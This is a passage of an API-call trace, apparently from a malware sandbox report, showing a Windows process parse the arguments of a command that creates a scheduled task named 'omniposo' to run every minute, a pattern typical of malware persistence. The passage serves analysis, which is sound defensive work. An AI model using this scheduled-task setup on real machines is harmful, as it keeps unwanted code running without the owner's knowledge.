lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.081] lstrlenW (lpString="sc") returned 2 [0116.081] GetThreadLocale () returned 0x409 [0116.081] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.081] lstrlenW (lpString="mo") returned 2 [0116.081] GetThreadLocale () returned 0x409 [0116.081] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.081] lstrlenW (lpString="d") returned 1 [0116.081] GetThreadLocale () returned 0x409 [0116.081] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.081] lstrlenW (lpString="m") returned 1 [0116.081] GetThreadLocale () returned 0x409 [0116.082] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.082] lstrlenW (lpString="i") returned 1 [0116.082] GetThreadLocale () returned 0x409 [0116.082] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.082] lstrlenW (lpString="tn") returned 2 [0116.082] GetThreadLocale () returned 0x409 [0116.082] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.082] lstrlenW (lpString="tr") returned 2 [0116.082] GetThreadLocale () returned 0x409 [0116.082] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.082] lstrlenW (lpString="st") returned 2 [0116.082] GetThreadLocale () returned 0x409 [0116.082] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.082] lstrlenW (lpString="sd") returned 2 [0116.082] GetThreadLocale () returned 0x409 [0116.082] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.082] lstrlenW (lpString="ed") returned 2 [0116.082] GetThreadLocale () returned 0x409 [0116.082] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.082] lstrlenW (lpString="it") returned 2 [0116.082] GetThreadLocale () returned 0x409 [0116.082] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.082] lstrlenW (lpString="et") returned 2 [0116.082] GetThreadLocale () returned 0x409 [0116.082] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.082] lstrlenW (lpString="k") returned 1 [0116.082] GetThreadLocale () returned 0x409 [0116.082] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.082] lstrlenW (lpString="du") returned 2 [0116.082] GetThreadLocale () returned 0x409 [0116.083] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.083] lstrlenW (lpString="ri") returned 2 [0116.083] GetThreadLocale () returned 0x409 [0116.083] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.083] lstrlenW (lpString="z") returned 1 [0116.083] GetThreadLocale () returned 0x409 [0116.083] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.083] lstrlenW (lpString="f") returned 1 [0116.083] GetThreadLocale () returned 0x409 [0116.083] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.083] lstrlenW (lpString="v1") returned 2 [0116.083] GetThreadLocale () returned 0x409 [0116.083] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.083] lstrlenW (lpString="xml") returned 3 [0116.083] GetThreadLocale () returned 0x409 [0116.083] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.083] lstrlenW (lpString="ec") returned 2 [0116.083] GetThreadLocale () returned 0x409 [0116.083] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.083] lstrlenW (lpString="rl") returned 2 [0116.083] GetThreadLocale () returned 0x409 [0116.083] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.083] lstrlenW (lpString="delay") returned 5 [0116.083] GetThreadLocale () returned 0x409 [0116.083] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.083] lstrlenW (lpString="np") returned 2 [0116.083] GetThreadLocale () returned 0x409 [0116.083] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.084] lstrlenW (lpString="hresult") returned 7 [0116.084] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.084] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.084] lstrlenW (lpString="/create") returned 7 [0116.084] lstrlenW (lpString="-/") returned 2 [0116.084] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0116.084] lstrlenW (lpString="create") returned 6 [0116.084] lstrlenW (lpString="create") returned 6 [0116.084] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.084] lstrlenW (lpString="create") returned 6 [0116.084] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.084] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|create|") returned 8 [0116.084] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|create|") returned 8 [0116.084] lstrlenW (lpString="|create|") returned 8 [0116.084] lstrlenW (lpString="|create|") returned 8 [0116.084] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0116.084] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.084] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.084] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.084] lstrlenW (lpString="/tn") returned 3 [0116.084] lstrlenW (lpString="-/") returned 2 [0116.084] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0116.084] lstrlenW (lpString="create") returned 6 [0116.084] lstrlenW (lpString="create") returned 6 [0116.084] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.084] lstrlenW (lpString="tn") returned 2 [0116.084] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.084] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|create|") returned 8 [0116.085] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.085] lstrlenW (lpString="|create|") returned 8 [0116.085] lstrlenW (lpString="|tn|") returned 4 [0116.085] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0116.085] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.085] lstrlenW (lpString="?") returned 1 [0116.085] lstrlenW (lpString="?") returned 1 [0116.085] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.085] lstrlenW (lpString="tn") returned 2 [0116.085] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.085] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|?|") returned 3 [0116.085] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.085] lstrlenW (lpString="|?|") returned 3 [0116.085] lstrlenW (lpString="|tn|") returned 4 [0116.085] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.085] lstrlenW (lpString="s") returned 1 [0116.085] lstrlenW (lpString="s") returned 1 [0116.085] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.085] lstrlenW (lpString="tn") returned 2 [0116.085] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.085] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|s|") returned 3 [0116.085] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.085] lstrlenW (lpString="|s|") returned 3 [0116.085] lstrlenW (lpString="|tn|") returned 4 [0116.085] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.085] lstrlenW (lpString="u") returned 1 [0116.085] lstrlenW (lpString="u") returned 1 [0116.086] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.086] lstrlenW (lpString="tn") returned 2 [0116.086] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.086] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|u|") returned 3 [0116.086] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.086] lstrlenW (lpString="|u|") returned 3 [0116.086] lstrlenW (lpString="|tn|") returned 4 [0116.086] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.086] lstrlenW (lpString="p") returned 1 [0116.086] lstrlenW (lpString="p") returned 1 [0116.086] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.086] lstrlenW (lpString="tn") returned 2 [0116.086] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.086] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|p|") returned 3 [0116.086] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.086] lstrlenW (lpString="|p|") returned 3 [0116.086] lstrlenW (lpString="|tn|") returned 4 [0116.086] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.086] lstrlenW (lpString="ru") returned 2 [0116.086] lstrlenW (lpString="ru") returned 2 [0116.086] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.086] lstrlenW (lpString="tn") returned 2 [0116.086] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.086] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|ru|") returned 4 [0116.086] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.087] lstrlenW (lpString="|ru|") returned 4 [0116.087] lstrlenW (lpString="|tn|") returned 4 [0116.087] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0116.087] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.087] lstrlenW (lpString="rp") returned 2 [0116.087] lstrlenW (lpString="rp") returned 2 [0116.087] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.087] lstrlenW (lpString="tn") returned 2 [0116.087] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.087] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rp|") returned 4 [0116.087] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.087] lstrlenW (lpString="|rp|") returned 4 [0116.087] lstrlenW (lpString="|tn|") returned 4 [0116.087] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0116.087] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.087] lstrlenW (lpString="sc") returned 2 [0116.087] lstrlenW (lpString="sc") returned 2 [0116.087] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.087] lstrlenW (lpString="tn") returned 2 [0116.087] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.087] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sc|") returned 4 [0116.087] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.087] lstrlenW (lpString="|sc|") returned 4 [0116.087] lstrlenW (lpString="|tn|") returned 4 [0116.087] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0116.087] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.087] lstrlenW (lpString="mo") returned 2 [0116.088] lstrlenW (lpString="mo") returned 2 [0116.088] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.088] lstrlenW (lpString="tn") returned 2 [0116.088] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.088] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|mo|") returned 4 [0116.088] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.088] lstrlenW (lpString="|mo|") returned 4 [0116.088] lstrlenW (lpString="|tn|") returned 4 [0116.088] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0116.088] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.088] lstrlenW (lpString="d") returned 1 [0116.088] lstrlenW (lpString="d") returned 1 [0116.088] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.088] lstrlenW (lpString="tn") returned 2 [0116.088] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.088] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|d|") returned 3 [0116.088] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.088] lstrlenW (lpString="|d|") returned 3 [0116.088] lstrlenW (lpString="|tn|") returned 4 [0116.088] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.088] lstrlenW (lpString="m") returned 1 [0116.088] lstrlenW (lpString="m") returned 1 [0116.088] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.088] lstrlenW (lpString="tn") returned 2 [0116.088] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.088] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|m|") returned 3 [0116.089] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.089] lstrlenW (lpString="|m|") returned 3 [0116.089] lstrlenW (lpString="|tn|") returned 4 [0116.089] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.089] lstrlenW (lpString="i") returned 1 [0116.089] lstrlenW (lpString="i") returned 1 [0116.089] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.089] lstrlenW (lpString="tn") returned 2 [0116.089] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.089] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|i|") returned 3 [0116.089] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.089] lstrlenW (lpString="|i|") returned 3 [0116.089] lstrlenW (lpString="|tn|") returned 4 [0116.089] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.089] lstrlenW (lpString="tn") returned 2 [0116.089] lstrlenW (lpString="tn") returned 2 [0116.089] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.089] lstrlenW (lpString="tn") returned 2 [0116.089] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.089] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.089] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.089] lstrlenW (lpString="|tn|") returned 4 [0116.089] lstrlenW (lpString="|tn|") returned 4 [0116.089] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0116.089] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.089] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.089] lstrlenW (lpString="omniposo") returned 8 [0116.090] lstrlenW (lpString="-/") returned 2 [0116.090] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0116.090] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.090] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.090] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.090] lstrlenW (lpString="omniposo") returned 8 [0116.090] StrChrIW (lpStart="omniposo", wMatch=0x3a) returned 0x0 [0116.090] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.090] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.090] lstrlenW (lpString="omniposo") returned 8 [0116.090] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.090] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.090] lstrlenW (lpString="/sc") returned 3 [0116.090] lstrlenW (lpString="-/") returned 2 [0116.100] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0116.100] lstrlenW (lpString="create") returned 6 [0116.100] lstrlenW (lpString="create") returned 6 [0116.100] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.100] lstrlenW (lpString="sc") returned 2 [0116.100] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.100] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|create|") returned 8 [0116.100] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sc|") returned 4 [0116.100] lstrlenW (lpString="|create|") returned 8 [0116.100] lstrlenW (lpString="|sc|") returned 4 [0116.100] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0116.100] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.100] lstrlenW (lpString="?") returned 1 [0116.100] lstrlenW (lpString="?") returned 1 [0116.100] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.100] lstrlenW (lpString="sc") returned 2 [0116.100] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.100] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|?|") returned 3 [0116.100] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sc|") returned 4 [0116.100] lstrlenW (lpString="|?|") returned 3 [0116.100] lstrlenW (lpString="|sc|") returned 4 [0116.100] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.100] lstrlenW (lpString="s") returned 1 [0116.100] lstrlenW (lpString="s") returned 1 [0116.100] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.101] lstrlenW (lpString="sc") returned 2 [0116.101] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.101] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|s|") returned 3 [0116.101] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sc|") returned 4 [0116.101] lstrlenW (lpString="|s|") returned 3 [0116.101] lstrlenW (lpString="|sc|") returned 4 [0116.101] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.101] lstrlenW (lpString="u") returned 1 [0116.101] lstrlenW (lpString="u") returned 1 [0116.101] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.101] lstrlenW (lpString="sc") returned 2 [0116.101] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.101] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|u|") returned 3 [0116.101] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sc|") returned 4 [0116.101] lstrlenW (lpString="|u|") returned 3 [0116.101] lstrlenW (lpString="|sc|") returned 4 [0116.101] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.101] lstrlenW (lpString="p") returned 1 [0116.101] lstrlenW (lpString="p") returned 1 [0116.101] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.101] lstrlenW (lpString="sc") returned 2 [0116.101] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.101] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|p|") returned 3 [0116.101] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sc|") returned 4 [0116.101] lstrlenW (lpString="|p|") returned 3 [0116.101] lstrlenW (lpString="|sc|") returned 4 [0116.102] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.102] lstrlenW (lpString="ru") returned 2 [0116.102] lstrlenW (lpString="ru") returned 2 [0116.102] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.102] lstrlenW (lpString="sc") returned 2 [0116.102] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.102] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|ru|") returned 4 [0116.102] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sc|") returned 4 [0116.102] lstrlenW (lpString="|ru|") returned 4 [0116.102] lstrlenW (lpString="|sc|") returned 4 [0116.102] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0116.102] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.102] lstrlenW (lpString="rp") returned 2 [0116.102] lstrlenW (lpString="rp") returned 2 [0116.102] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.102] lstrlenW (lpString="sc") returned 2 [0116.102] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.102] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rp|") returned 4 [0116.102] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sc|") returned 4 [0116.102] lstrlenW (lpString="|rp|") returned 4 [0116.102] lstrlenW (lpString="|sc|") returned 4 [0116.102] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0116.102] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.102] lstrlenW (lpString="sc") returned 2 [0116.102] lstrlenW (lpString="sc") returned 2 [0116.102] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.102] lstrlenW (lpString="sc") returned 2 [0116.103] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.103] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sc|") returned 4 [0116.103] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sc|") returned 4 [0116.103] lstrlenW (lpString="|sc|") returned 4 [0116.103] lstrlenW (lpString="|sc|") returned 4 [0116.103] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0116.103] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.103] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.103] lstrlenW (lpString="MINUTE") returned 6 [0116.103] lstrlenW (lpString="-/") returned 2 [0116.103] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0116.103] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.103] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.103] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.103] lstrlenW (lpString="MINUTE") returned 6 [0116.103] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0116.103] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.103] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.103] GetProcessHeap () returned 0x1b207920000 [0116.103] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x18) returned 0x1b20792abf0 [0116.103] _memicmp (_Buf1=0x1b20792abf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.103] lstrlenW (lpString="MINUTE") returned 6 [0116.103] GetProcessHeap () returned 0x1b207920000 [0116.103] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0xe) returned 0x1b20792a9f0 [0116.103] lstrlenW (lpString="MINUTE") returned 6 [0116.103] lstrlenW (lpString=" \x09") returned 2 [0116.103] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0116.103] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0116.103] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0116.103] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0116.104] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0116.104] StrChrW (lpStart=" \x09", wMatch=0x54) returned 